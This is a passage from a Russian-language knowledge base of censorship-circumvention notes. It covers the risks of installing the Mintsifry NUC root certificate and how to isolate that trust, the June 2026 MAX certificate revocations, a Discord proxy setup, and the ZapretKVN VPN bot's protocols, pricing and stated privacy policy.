хранилищем.** Firefox по умолчанию использует **собственный** список доверия, отдельный от системного, поэтому установка корня в систему не обязательно затрагивает его (нюанс: настройка `security.enterprise_roots.enabled` может подтягивать системные корни — проверяй). --- ## Что делать - [ ] **Проверить, не установлен ли корень уже** — на всех устройствах и во всех хранилищах: пошаговая инструкция для Windows/macOS/Linux/Android/iOS и браузеров — в [[nuc/check-remove|«Как проверить и удалить корень НУЦ»]]. - [ ] **Не ставить корень НУЦ** без острой необходимости. - [ ] Если он нужен для одного конкретного госсайта — понимать, что доверие распространяется на **весь** HTTPS-трафик устройства, а не на один портал; варианты изоляции (отдельный браузер, отдельный профиль Firefox, точечное исключение, виртуалка) — в [[nuc/safe-usage|«Как пользоваться госсайтами без корня НУЦ в системе»]]. - [ ] Для чувствительных сайтов — проверять **издателя сертификата** вручную (кто выдал) и предпочитать приложения с пиннингом. - [ ] Помнить, что обходы блокировок ([[mtproxy/mtproto-zig|MTProxy]], VLESS) и E2E-мессенджеры снижают, но не отменяют риск, если корень установлен. --- ## 📚 См. также - [[nuc/00-overview|Раздел «Сертификаты Минцифры (НУЦ)»]] — обзор темы и практика: [[nuc/check-remove|проверка и удаление корня]], [[nuc/safe-usage|изоляция доверия]], [[nuc/gost-tls|ГОСТ-TLS]], [[nuc/embedded-trust|встроенное доверие в «Яндекс Браузере»]] - [[nuc/mincifry-nuc-certs-danger-june-2026|Почему сертификаты Минцифры (НУЦ) опасны]] — общий контекст: кризис доверия, хроника MAX, сценарии властей - [[DPI/post-pochemu-legli-ru-sajty-iyun-2026|Почему «легли» ру-сайты в июне 2026 (ТСПУ)]] — про оборудование фильтрации, которое и есть «контроль над каналом» - [[VLESS/dpi-tls-june-2026|Сибирская схема: подсеть + фингерпринт + частота]] — как ТСПУ анализирует TLS-трафик - 🔗 [DigiNotar (Wikipedia)](https://en.wikipedia.org/wiki/DigiNotar) — взлом УЦ и перехват иранцев в 2011 - 🔗 [Kazakhstan man-in-the-middle attack (Wikipedia)](https://en.wikipedia.org/wiki/Kazakhstan_man-in-the-middle_attack) — навязывание государственного корня и ответ браузеров - 🔗 [Минцифры: о сертификатах безопасности](https://digital.gov.ru/activity/kiberbezopasnost/sertifikaty-bezopasnosti) · [Госуслуги](https://www.gosuslugi.ru/crt) · [Сбербанк](https://www.sberbank.ru/ru/certificates) — официальные страницы: как предлагают ставить корневой и выпускающий сертификаты Минцифры --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/nuc/nuc-root-mitm-threat-model.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-06-14 tags: - post - rkn - tls - certificates - nuc - splinternet aliases: - Коротко про сертификаты MAX - Замочек погас пост - Почему отзыв сертификата опасен для всех link: https://community.letsencrypt.org/t/why-issue-certificate-for-max-ru-forbidden-by-policy/248143 --- # 📵 Замочек погас: что случилось с сертификатами и почему это касается каждого > [!info] Что это > Краткий пост для широкой аудитории. Развёрнутый разбор с источниками, хроникой и сценариями — в [[nuc/mincifry-nuc-certs-danger-june-2026|большой статье «Почему сертификаты Минцифры (НУЦ) опасны»]]. --- **Коротко, что произошло.** В июне 2026 у российского госмессенджера MAX один за другим отозвали TLS-сертификаты: сначала 5 июня GlobalSign, а следом закрылся и крупнейший бесплатный центр Let's Encrypt — по санкциям США, потому что домен связан с подсанкционным лицом. Браузеры зажгли красный экран «подключение не защищено». Сайт жив, но замочек в адресной строке погас. **Почему это не про один мессенджер, а про всех нас.** Замочек — это не украшение. Это обещание браузера: «я проверил, что это настоящий сайт, а не подделка». Когда людей раз за разом приучают жать «продолжить» вопреки красному предупреждению, они перестают эти предупреждения замечать. А ровно на этом живут мошенники: на фишинговой подделке честного замочка нет — но если ты привык игнорировать предупреждения, ты не заметишь и его отсутствие. Так стирают привычку, на которой держится вся безопасность в сети. **Почему «государственное решение» — ловушка.** Власти предлагают поставить корневой сертификат госцентра (НУЦ) вручную. Но корень в твоём устройстве может удостоверить *любой* сайт. Доверяя ему, ты выдаёшь чистый бланк тому, кто контролирует и каналы связи: технически это рычаг для незаметного перехвата твоего HTTPS — переписки, паролей, банка — с зелёным замочком на подделке. **Где настоящая опасность.** УЦ в мире сотни, и MAX наверняка найдёт, чем перевыпуститься (а старые сертификаты Let's Encrypt у него вообще не отозвать) — дело не в «совсем без HTTPS». Дело в том, что глобально **доверенные** браузерами центры держит горстка западных компаний (Apple, Google, Microsoft, Mozilla) под юрисдикцией США, и для подсанкционных удобные варианты сужаются — отсюда постоянная вынужденная миграция и толчок к «splinternet», изоляции рунета. А решают это, по версии ряда наблюдателей, люди, для которых обрыв с миром — приемлемая цена. > [!important] Вывод одной строкой > Опасность не в том, что «не откроется мессенджер». Опасность в том, что разрушают доверие — фундамент, на котором держится безопасность каждого, кто заходит в интернет. И платить за это будут обычные люди внутри страны. --- ## 📚 См. также - [[nuc/mincifry-nuc-certs-danger-june-2026|Большая статья: почему сертификаты Минцифры (НУЦ) опасны]] — хроника MAX, рынок УЦ, 5 сценариев ответа властей, источники - [[nuc/00-overview|Раздел «Сертификаты Минцифры (НУЦ)»]] — практика: проверить и удалить корень со своих устройств, изолировать доверие, если госсайты всё же нужны - [[DPI/post-pochemu-legli-ru-sajty-iyun-2026|Почему «легли» ру-сайты в июне 2026 (ТСПУ)]] — соседний кризис того же периода --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/nuc/post-cert-danger-kratko-june-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - mincifry - nuc - tls - certificates - privacy - howto aliases: - Изоляция доверия НУЦ - Госсайты без установки корня Минцифры - Как безопасно открыть сайт с российским сертификатом - Отдельный браузер для госуслуг link: https://www.gosuslugi.ru/crt --- # 🛡️ Как пользоваться сайтами с сертификатом Минцифры, не ставя корень НУЦ в систему > [!info] О чём заметка > Практические схемы для ситуации «госпортал или банк работает на сертификате НУЦ (Национального удостоверяющего центра Минцифры), а отдавать весь HTTPS-трафик устройства под государственный корень не хочется». Разобраны варианты от простого к параноидальному, с честными оговорками, что каждый из них закрывает, а что нет. Почему установка корня в систему — плохая идея, разобрано в [[nuc/nuc-root-mitm-threat-model|модели угроз корня НУЦ]]; проверить, не стоит ли корень уже, — по [[nuc/check-remove|инструкции проверки и удаления]]. ## TL;DR - Главный принцип: доверие корню НУЦ должно быть **ограничено контейнером** — отдельным браузером, профилем или устройством, — а не размазано на всю систему. - Проще всего: держать «Яндекс Браузер» **только** под госсайты (доверие НУЦ в нём [[nuc/embedded-trust|уже встроено]], в систему ничего ставить не нужно), а всю остальную жизнь вести в обычном браузере без корня. - Тоньше: отдельный **профиль Firefox** с импортированным корнем — у Firefox своё хранилище на каждый профиль, основной профиль остаётся чистым. - Точечно: **исключение для одного сайта** в Firefox («Принять риск и продолжить») — доверие получает один сертификат одного хоста, а не корень для всех доменов. - Максимально: отдельная виртуалка или старый смартфон только под гос-дела. - Чего не делать: не ставить корень в системное хранилище основного устройства, не включать в Firefox `security.enterprise_roots.enabled`, не делать браузер со встроенным доверием НУЦ основным. ## Постановка задачи Сайтов на сертификатах НУЦ становится больше: после отзывов сертификатов западными УЦ летом 2026 ([[nuc/mincifry-nuc-certs-danger-june-2026|хроника кризиса]]) у части российских организаций выбор сузился до государственного центра. Пользователю при этом предлагают решение в лоб — поставить корневой сертификат в систему (инструкции на [Госуслугах](https://www.gosuslugi.ru/crt) и у Сбербанка). Проблема этого решения в том, что корень действует не на один портал, а на **весь** HTTPS-трафик устройства: доверенный корень может удостоверить любой домен, и вручную установленный корень при этом выпадает из-под внешнего контроля Certificate Transparency ([[nuc/nuc-root-mitm-threat-model#Почему обычные УЦ так не могут — и почему ручная установка это ломает|почему это ключевой момент]]). Проще говоря: тебе нужен доступ к двум-трём сайтам, а расписаться предлагают за доверие ко всему интернету сразу. Задача — выдать это доверие узко: только тем сайтам, которым оно нужно, и только в отведённом для них месте. ## Вариант 1: отдельный «гос-браузер» (просто и достаточно для большинства) Заведи браузер, который используется **исключительно** для сайтов с сертификатами НУЦ, и никогда — для всего остального. Естественный кандидат — «Яндекс Браузер»: доверие НУЦ в него [[nuc/embedded-trust|встроено производителем]], поэтому в системное хранилище ничего ставить не нужно вовсе — основные браузеры остаются чистыми. Логика размена такая: внутри «гос-браузера» перехват твоего трафика технически возможен (там доверие НУЦ есть), но там ты и так ходишь только на государственные и банковские сайты, которые видят твои данные по определению. А почта, мессенджеры, поиск, работа — живут в основном браузере, где корня НУЦ нет и перехват с «зелёным замочком» невозможен. - [ ] Установи отдельный браузер под госсайты и открывай в нём только их. - [ ] В основном браузере корень НУЦ не ставь; если ставил раньше — [[nuc/check-remove|удали]]. - [ ] Не логинься в «гос-браузере» в личную почту, соцсети и прочие не-государственные аккаунты — иначе изоляция теряет смысл. ## Вариант 2: отдельный профиль Firefox с корнем (чище, без отечественного браузера) Firefox хранит сертификаты **на уровне профиля**, а не системы. Это позволяет создать профиль «gos», импортировать корень НУЦ только в него — и основной профиль, как и вся система, останется чистым. - [ ] Открой `about:profiles` → «Создать новый профиль» (например, `gos`). - [ ] Запусти Firefox с этим профилем (кнопка «Запустить ещё один браузер с этим профилем» на той же странице). - [ ] Скачай сертификаты НУЦ с Госуслуг и импортируй в этом профиле: Настройки → «Приватность и защита» → «Сертификаты» → «Просмотр сертификатов» → «Центры сертификации» → «Импортировать» → отметь доверие «для идентификации веб-сайтов». - [ ] Убедись, что в `about:config` обоих профилей `security.enterprise_roots.enabled` = `false` — иначе Firefox начнёт подтягивать корни из системного хранилища, и смысл разделения пропадёт. Результат тот же, что в варианте 1, но без установки отдельного браузера: два ярлыка Firefox, один чистый, один «государственный». ## Вариант 3: точечное исключение для одного сайта (когда нужно один раз) Если сайт с сертификатом НУЦ нужен разово, корень вообще не нужен: Firefox на странице предупреждения позволяет нажать «Дополнительно» → «Принять риск и продолжить». Это создаёт **исключение для конкретного сертификата конкретного хоста** — браузер запоминает «вот этому сертификату на этом домене верю», не давая корню НУЦ никакого доверия для остальных доменов. Управлять исключениями можно там же, где сертификаты: Настройки → «Сертификаты» → «Просмотр сертификатов» → вкладка «Серверы». > [!warning] Два честных минуса точечных исключений > Во-первых, исключение — это слепое доверие: браузер не может проверить подлинность сертификата, и если ровно в этот момент между тобой и сайтом стоит перехватчик, ты доверишь его подделку, а не настоящий сайт. Для «посмотреть расписание на госпортале» это приемлемый риск, для банка — уже нет. Во-вторых, привычка жать «продолжить» на предупреждениях — сама по себе вред: на стирании этой привычки [[nuc/mincifry-nuc-certs-danger-june-2026#Две беды отзыва сертификата|играют мошенники]]. Пользуйся исключениями осознанно и редко. ## Вариант 4: отдельная виртуалка или отдельное устройство (максимум) Самая жёсткая изоляция — вынести гос-дела на отдельную систему: виртуальную машину, отдельный профиль пользователя ОС или старый смартфон. Там можно ставить что угодно — корень НУЦ, госприложения, [[nuc/gost-tls|КриптоПро с ГОСТ-TLS]] — не рискуя основной средой. Данные, которые ты вводишь на госсайтах, государству известны и так; изоляция защищает не их, а **всё остальное**: твою почту, переписку, пароли от негосударственных сервисов и целостность основного устройства (перехват HTTPS — это в том числе канал для [[nuc/nuc-root-mitm-threat-model#Конкретные атаки, которые это открывает|подмены обновлений ПО]]). ## Чего перечисленное не решает Изоляция ограничивает зону, где возможен перехват, но внутри этой зоны он остаётся возможен: всё, что ты делаешь в «гос-браузере»/гос-профиле, потенциально читаемо тем, кто контролирует корень и канал. Не переноси туда чувствительное, что не обязано там быть. И наоборот: изоляция не заменяет остальную гигиену — сквозное шифрование в мессенджерах, приложения с пиннингом сертификатов, обходные каналы; их пределы и возможности описаны в [[nuc/nuc-root-mitm-threat-model#Чего такой перехват НЕ может|модели угроз]]. ## 📚 См. также - [[nuc/00-overview|Обзор раздела: сертификаты Минцифры (НУЦ)]] — контекст: что это и почему навязывают - [[nuc/check-remove|Как проверить и удалить корень НУЦ]] — первый шаг перед настройкой изоляции - [[nuc/embedded-trust|Где доверие НУЦ уже встроено]] — почему «Яндекс Браузер» подходит на роль изолированного гос-браузера - [[nuc/gost-tls|ГОСТ-TLS и КриптоПро]] — если госсайт требует не просто корень, а ГОСТ-шифрование --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/nuc/safe-usage.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- test --- --- aliases: - Настройка Дискорд --- # Правильная растройка Дискорд для [[premium|ZapretKVN]] для минимальных задержек (без ВПН/TUN режима!) По умолчанию само приложение Discord **НЕ** поддерживает прокси режим (*скажите спасибо криворуким разрабам*). Для начала создайте (*если этого правила ещё нет!*) в настройках маршрутизации: ![[Pasted image 20260206170328.png]] ![[Pasted image 20260206170344.png]] ![[Pasted image 20260206170350.png]] ![[Pasted image 20260206170413.png]] Поле доменов и процессор (левая и правая колонка) должны быть **пустыми**. Полный список доменов представлен ниже: ![[ipset-discord]] Далее для приложения дискорд скачайте расширение по ссылке – https://github.com/hdrover/discord-drover/releases/download/v0.8/drover-v0.8.zip После чего запустите приложение: ![[IMG-20251106130212413.png]] Выберите тип прокси `SOCKS5` и впишите в Port наш порт `10808` и нажмите на Install: ![[IMG-20251106130402981.png]] Если появится такая ошибка это значит что дискорд не установлен или установлен неправильно, в таком случае его следует [перекачать](https://discord.com/api/downloads/distributions/app/installers/latest?channel=stable&platform=win&arch=x64): ![[IMG-20251106130433421.png]] Если Вы видите такую ошибку значит следует полностью закрыть приложение дискорда: ![[IMG-20251106130913232.png]] Если установка завершена успешно Вы получите следующее сообщение: ![[IMG-20251106130946458.png]] После чего попробуйте запустить приложение дискорда. Если всё настроено правильно в логе Вы увидите информацию о том что подключение происходит через прокси: ![[IMG-20251106131156335.png]] --- # 1. Что такое Zapret Premium и Zapret VPN > [!tip] ВАЖНО! > Оплатить подписку Вы можете в нашем боте: https://t.me/zapretvpns_bot. Также там доступны актуальные цены. > [!info] Как устроен VPN и в каком клиенте им пользоваться > Ключ выдаётся открытой строкой `vless://…`, не привязан к устройству и работает в любом клиенте — Happ, v2rayN, Clash Verge Rev, sing-box, прошивка роутера. Разбор устройства услуги и этого принципа — в заметке [[premium/zapret-vpn-bot|Zapret VPN-бот]]; про практику других продавцов, которые ограничивают выбор клиента через HWID, — в [[subscriptions/hwid-client-lock|отдельной заметке]]. ### 1.1. Уровень "Запретик" (Zapret Premium) Уровень выдаёт премиум доступ к программе Zapret. 📝 Возможности - Доступно дополнительные темы - Доступно дополнительные AMOLED темы + тема "РКН ТЯН" - Плашка Premium прямо в программе - Доступно создание тем на заказ - Доступен элитный VIP чат с создателем - Приоритетная техническая поддержка - Индивидуальная настройка под ваши нужды - Дополнительные фунции в следующих обновлениях... ![[465732423-ee0a4a72-4351-410b-a7e8-413b61b7e445.png|500]] 💳 Цены | 📅 Кол-во дней | 💰 Цена | | ----------------------- | ---------- | | 1 день (пробный период) | 9 рублей | | 1 месяц | 49 рублей | | 3 месяца | 147 рублей | | 6 месяцев | 294 рубля | | 1 год | 588 рублей | ### 1.2. Уровень "MasterVless" (Zapret VPN) Полноценный VPN с высокой скоростью (**2 основных сервера!**) Для начала стоит отметить что мы не придумали VPN с нуля, мы используем стандартный VPS сервера на которых крутится ядро `xray-core`, которое поддерживает множество протоколов для создания ВПН туннеля. Мы используем протокол `vless` как наиболее надёжный и создан специально для обхода самых жёстких блокировок (*наподобие Китайских*). 📝 Возможности - 🔑 Все возможности 1 уровня - Высокоскоростной сервер в Нидерландах - Высокоскоростной сервер в России - ⚡ Скорость до 1 Гбит/с - 🎵 YouTube, Spotify без ограничений - 🎮 Игры, стримы (пинг в районе 40-50 в зависимости от вашего местоположения) - 📱 Поддержка всех устройств и приложений - 🚀 Стабильное соединение 24/7 - 🛡️ Надежная маскировка трафика - 🔒 Протокол VLESS Reality - 📺 4K видео без буферизации 💳 Цены | 📅 Кол-во дней | 💰 Цена | | ----------------------- | ----------- | | 1 день (пробный период) | 9 рублей | | 1 месяц | 99 рублей | | 3 месяца | 297 рублей | | 6 месяцев | 594 рубля | | 1 год | 1188 рублей | ### 1.3. Уровень "MasterVless+" (Zapret VPN) VPN с несколькими скоростными серверами - 🔑 Все возможности 1 и 2 уровня - 🌍 5+ СЕРВЕРОВ НА ВЫБОР: - 🚀 Максимальная скорость на всех серверах - 🎯 Оптимальный пинг для разных задач - 🔄 Быстрое переключение между серверами - 🎁 Эксклюзивные функции - 📊 Статистика использования - 🔧 Персональные настройки 💳 Цены | 📅 Кол-во дней | 💰 Цена | | ----------------------- | ----------- | | 1 день (пробный период) | 19 рублей | | 1 месяц | 149 рублей | | 3 месяца | 447 рублей | | 6 месяцев | 894 рубля | | 1 год | 1788 рублей | ### 1.4. Уровень "VlessMAX" (Zapret VPN) Полный список к игровым серверам, также предоставляется игровой протокол Wireguard (по протоколу UDP). Возможности добавляются прямо сейчас поэтапно: https://t.me/vpndiscordyooutube/24 💳 Цены | 📅 Кол-во дней | 💰 Цена | | ----------------------- | ----------- | | 1 день (пробный период) | 19 рублей | | 1 месяц | 199 рублей | | 3 месяца | 597 рублей | | 6 месяцев | 1194 рубля | | 1 год | 2388 рублей | > **ВАЖНО:** После оплаты подписки обязательно нажмите кнопку `Проверить оплату` ИНАЧЕ ДЕНЬГИ НЕ ПРИДУТ! ![[IMG-20251106171723808.png]] После оплаты выведется следующее сообщение: ![[IMG-20251106171934051.png]] --- --- date: 2026-07-25 tags: - zapret - vpn - vless - mihomo - подписки - telegram aliases: - Zapret VPN - zapretvpns_bot - VPN-бот Zapret - Zapret VPN бот - Mihomo-подписка Zapret link: https://t.me/zapretvpns_bot --- # 🤖 Zapret VPN-бот: устройство, подписка и свобода выбора клиента > [!info] О чём заметка > Разбор **Zapret VPN** — сервиса от команды ZapretKVN, доступ к которому выдаёт Telegram-бот [@zapretvpns_bot](https://t.me/zapretvpns_bot): какие протоколы доступны, как устроена Mihomo-подписка и прямые конфиги, что внутри выдаваемого YAML-профиля и почему доступ не привязан ни к устройству, ни к конкретному приложению. Уровни подписки и актуальные цены — в [[premium/premium|описании уровней]]; пошаговые скриншоты настройки — в [[Zapret/premium|общей инструкции]]. ## TL;DR - **Два способа получить доступ**: готовая **Mihomo-подписка** (YAML-профиль по личной ссылке) и **прямые конфиги** отдельных протоколов — обычные ссылки вида `vless://…` и стандартные файлы настроек. - Подписка не единственный вход, и **это принципиально**: приложения не фильтруются ни по названию, ни по заголовку `User-Agent`. Happ, INCY или любой другой «обязательный» клиент не требуется. - **HWID не запрашивается.** Ни аппаратный идентификатор телефона, ни идентификатор установки не участвуют в выдаче и обслуживании доступа. - «Слот устройства» в боте — просто **номер конфига** (их до 10, можно подписать: телефон, роутер, консоль…), а `Fingerprint` у VLESS — это **сетевой TLS-профиль браузера**, которым маскируется рукопожатие. Ни то, ни другое не является HWID. - Протоколы: [[xray/vless|VLESS]] с [[xray/reality|REALITY]] на [[xray/project-x|xray-core]], [[Hysteria/00-overview|Hysteria 2]], WireGuard и AmneziaWG, WARP, SOCKS5, отдельно — MTProto-прокси для Telegram. - Единственное реальное ограничение — техническое: клиент должен понимать нужный протокол и формат конфига. Это вопрос совместимости, а не политики сервиса. ## Что это такое и чем отличается от программы Zapret Команда известна прежде всего **бесплатной программой Zapret** — она работает без всякого сервера и меняет то, как ваш трафик выглядит для DPI провайдера. Программа была и остаётся бесплатной, а платные уровни не влияют на её работу; этот принцип зафиксирован в [[Zapret/premium|общей инструкции]]. **Zapret VPN — отдельная услуга.** Это уже настоящий туннель через серверы команды, нужный там, где обхода на стороне клиента не хватает или где требуется зарубежный адрес. Проще говоря: программа Zapret меняет, **как выглядит** ваш трафик, а Zapret VPN — **куда он идёт**. Пользоваться можно любым из двух или обоими сразу. ## Что выдаётся: подписка и прямые конфиги Здесь и лежит главное отличие от распространённой практики, поэтому разберём подробно. **Mihomo-подписка.** Бот генерирует для каждого слота устройства персональный YAML-профиль формата [[Clash/02-mihomo|mihomo]] и отдаёт его по личной ссылке (и файлом в чат). Это самый удобный вход: один адрес, в котором собраны все ваши узлы по доступным протоколам, с готовыми группами выбора. Клиент обновляет профиль сам. **Прямые конфигурации.** Параллельно для доступных протоколов выдаются обычные стандартные ссылки и файлы: `vless://…` для VLESS, конфиг WireGuard/AWG, параметры Hysteria 2, логин-пароль SOCKS5. Их можно вставить в любое приложение, которое понимает соответствующий формат, — и никакая подписка для этого не нужна. Почему это важно: **подписка не превращается в единственную дверь**. Если ваше приложение не умеет читать профили mihomo (или вы просто предпочитаете sing-box, v2rayN, Happ, клиент на роутере) — берёте прямой конфиг и работаете с ним. > [!important] Клиент не фильтруется по названию и `User-Agent` > Формулировка из самого бота: «Zapret VPN не блокирует приложения по названию или `User-Agent`». Это ровно та практика, которая на рынке распространена наоборот — когда панель отдаёт конфигурацию только «одобренным» клиентам, а остальным возвращает ошибку. Механика таких ограничений разобрана в [[subscriptions/hwid-client-lock|заметке про HWID-привязку и запрет «чужих» клиентов]]. ## Что внутри выдаваемого профиля Полезно знать, что именно вы импортируете, — тем более что профиль сознательно сделан простым. | Настройка | Значение | |---|---| | Локальный порт | `mixed-port: 7890` — общий порт для HTTP и SOCKS5 | | Доступ из локальной сети | `allow-lan: false` — профиль рассчитан на одно устройство | | Режим | `mode: rule` — работа по правилам | | Уровень логов | `warning` — в журнал не пишется лишнее | | Группы | **«🌐 VPnBot»** (ручной выбор, включая `DIRECT`) и **«⚡ Автовыбор»** плюс группы по протоколам | | Правила | одно правило `MATCH` — весь трафик уходит в основную группу | Группа **«⚡ Автовыбор»** — это `url-test`: раз в 30 минут ядро проверяет доступность узлов и берёт быстрейший, отдавая приоритет VLESS с REALITY, затем Hysteria 2, затем WireGuard/AWG/WARP. Как устроены типы групп и чем `url-test` отличается от `fallback` — в [[Clash/01-clash-core|Ядре Clash]]. Единственное правило `MATCH` означает, что **по умолчанию через туннель идёт всё**. Это осознанный выбор: профиль должен работать одинаково у всех, а не решать за пользователя, какие сайты ему нужны напрямую. Если хочется раздельной маршрутизации — российские сайты мимо туннеля, реклама в обрыв, конкретное приложение через конкретный узел — правила добавляются поверх профиля вручную, готовые рецепты собраны в [[Clash/04-rules|заметке про правила маршрутизации]]. > [!tip] Правки не пропадут при обновлении подписки > Профиль обновляется по ссылке, поэтому свои правила добавляйте не в скачанный файл, а через механизм переопределений в клиенте (в разных оболочках он называется «Merge», «Override», «слияние профиля»). Иначе при очередном обновлении ваши строки будут перезаписаны — типичная ошибка, описанная в [[Clash/05-troubleshooting|разборе проблем]]. ## Протоколы В профиль mihomo собираются узлы шести видов: **VLESS**, **Hysteria 2**, **WireGuard**, **AmneziaWG (AWG)**, **WARP** и **SOCKS5**. Отдельно бот выдаёт **MTProto-прокси** для Telegram — он живёт по своим правилам и в профиль не входит. Основная рабочая связка — **[[xray/vless|VLESS]] + [[xray/reality|REALITY]]** на [[xray/project-x|xray-core]]. Ничего своего в криптографии команда не изобретала, и это правильно: VLESS не накладывает второй слой шифрования поверх TLS (меньше нагрузка и меньше характерных признаков), а REALITY позволяет соединению выглядеть обращением к настоящему постороннему сайту — без своего домена и без следов в публичных логах сертификатов. **[[Hysteria/00-overview|Hysteria 2]]** полезна там, где канал плохой: она работает поверх QUIC/UDP и держится на потерях пакетов лучше TCP-протоколов. Обратная сторона — в сетях, где UDP режут, она отваливается первой; поэтому держать VLESS запасным вариантом имеет смысл всегда. **WireGuard и AmneziaWG** — для сценариев, где нужен именно VPN-интерфейс (игры, устройства с встроенной поддержкой WG). AWG — это [[amnezia-2-0/reference|обфусцированный WireGuard]], который сложнее опознать по сигнатуре пакетов. ## Слоты устройств: почему это не HWID Термин путает, поэтому разберём отдельно. **Слот** — это порядковый номер конфига в вашем аккаунте (их до десяти), которому можно дать имя и иконку: телефон, ноутбук, телевизор, роутер, консоль. Нужен он для вашего же удобства — чтобы понимать, какой ключ где используется, и отозвать конкретный, не трогая остальные. **Чем это отличается от HWID-привязки.** Слот не считывает никаких характеристик вашего железа и не проверяется при подключении: сервер по-прежнему аутентифицирует вас по UUID или ключу протокола. Вы можете взять конфиг из слота «Телефон» и использовать его на ноутбуке — ничего не сломается. При настоящей HWID-привязке подписка бы просто перестала загружаться в приложении, которое не отправило идентификатор устройства. **И `Fingerprint` — тоже не HWID.** В настройках VLESS это выбор TLS-отпечатка (`chrome`, `firefox`, `safari` и др.), то есть какого браузера рукопожатие будет имитировать ваш клиент. Это параметр маскировки, влияющий на то, как вас видит DPI, а не идентификатор вашего устройства — механика разобрана в [[DPI/browser-ja4-fingerprint-block|заметке про JA4-отпечатки]]. ## Как получить доступ - [ ] Оплатить подписку в боте [@zapretvpns_bot](https://t.me/zapretvpns_bot) и **нажать кнопку «Проверить оплату»** — без неё платёж не засчитается автоматически. - [ ] Взять Mihomo-подписку в меню — бот выдаст ссылку и файл профиля для выбранного слота устройства. - [ ] Либо запросить прямой ключ: команда **`/inbounds`** → выбрать сервер → создать конфиг → выбрать порт (начинать стоит с **443**, это порт обычного HTTPS) → скопировать строку `vless://…`. - [ ] Импортировать полученное в свой клиент — по [[Clash/03-first-run|инструкции первого запуска]] для оболочек на mihomo или по [[xray/clients-and-routing|инструкции для клиентов Xray]]. - [ ] Проверить результат: [[Clash/03-first-run|чек-лист из пяти пунктов]] — два сайта проверки IP, тест на утечку DNS и нужное вам приложение. Скриншоты каждого шага и настройка под Windows, Android и другие системы — в [[Zapret/premium|подробной инструкции]]. ## Что с приватностью: честно Отсутствие HWID — не то же самое, что «сервис ничего не знает». Ниже то, что заявлено в политике самого бота, без приукрашивания. **Хранится:** ваш Telegram `user_id` и стандартные данные аккаунта, которые Telegram передаёт боту; сведения о подписке, тарифе, балансе и платежах; технические данные выданных конфигов — сервер, слот устройства, внутренний адрес, UUID или публичный ключ; обращения в поддержку. **Может логироваться:** технические сетевые метаданные — время создания и удаления конфигов, сервер и слот, внутренний адрес клиента, протокол, порт и служебные события соединений. Заявленная цель — диагностика и разбор жалоб на злоупотребления; журналы анализируются вручную, когда приходит конкретная жалоба. **Не хранится:** данные банковской карты. Содержимое трафика не читается, история платежей и конфиги не продаются третьим лицам. **Ограничения по использованию:** запрещены торренты и распространение пиратского контента, атаки, сканирование и брутфорс, спам и фишинг. > [!warning] Любой VPN — это доверие оператору > Трафик расшифровывается на сервере, поэтому оператор технически видит адреса, к которым вы подключаетесь. Отсутствие HWID-привязки сокращает объём данных о ваших устройствах и оставляет вам свободу выбора клиента — но не отменяет самого факта посредника. Это верно для любого VPN-сервиса, включая этот, и оценивать риск нужно исходя из своей модели угроз (общие принципы — в [[Privacy|заметке про приватность]]). Отдельно про саму ссылку подписки: она содержит персональный токен, поэтому **делиться ею нельзя** — это фактически ваш доступ. У выдачи есть ограничение частоты запросов и возможность отзыва, но эти меры защищают инфраструктуру, а не спасают от опубликованной в открытом чате ссылки. ## Оговорки и что делать, если не работает **VPN не отменяет DPI.** Связка VLESS+REALITY тоже находится под давлением: обзор актуальных методов детекта — в [[VLESS/dpi-tls-june-2026|разборе DPI-почерка TLS]]. Если узел перестал подключаться, начните с обновления подписки и проверки версии ядра в клиенте, дальше — по [[Clash/05-troubleshooting|методике диагностики]]. **Старое ядро не понимает новые протоколы.** Свежее приложение с прошлогодним ядром внутри — обычная ситуация, и лечится она обновлением именно ядра (см. [[Clash/07-clients|обзор клиентов]]). **Профиль импортировался, но всё идёт через туннель.** Так и задумано: в профиле одно правило `MATCH`. Раздельная маршрутизация настраивается вами — [[Clash/04-rules|рецепты правил]]. ## 📚 См. также - [[premium/premium|Уровни подписки Zapret Premium и Zapret VPN]] — состав уровней и актуальные цены. - [[Zapret/premium|Всё о Zapret Premium и Zapret VPN]] — подробная инструкция со скриншотами. - [[subscriptions/hwid-client-lock|HWID-привязка и запрет «чужих» клиентов]] — как устроены ограничения, которых здесь нет. - [[Clash/00-overview|Clash и mihomo]] — про формат выдаваемой подписки и клиенты, которые её открывают. - [[Clash/04-rules|Правила маршрутизации: рецепты]] — как добавить раздельную маршрутизацию поверх профиля. - [[xray/vless|Протокол VLESS]] и [[xray/reality|REALITY]] — что работает под капотом основной связки. - [[premium/discord|Настройка Discord через VPN]] — частый частный случай. - 🔗 [@zapretvpns_bot](https://t.me/zapretvpns_bot) — сам бот · [канал проекта](https://t.me/bypassblock) · [новости по KVN](https://t.me/vpndiscordyooutube) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/premium/zapret-vpn-bot.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- aliases: - Zapret Premium - Запрет Премиум --- # Как получить активировать [[Zapret/premium|Zapret Premium]]? Ключ привязки следует получить в программе. Если нет кнопки активировать ключ, сбросьте активацию: ![[Pasted image 20260202220021.png]] После чего создайте ключ и отправьте его боту: ![[Pasted image 20260202220036.png]] Бот скажет что подписка привязана: ![[Pasted image 20260202220053.png]] Обновите подписку и программа активируется автоматически: 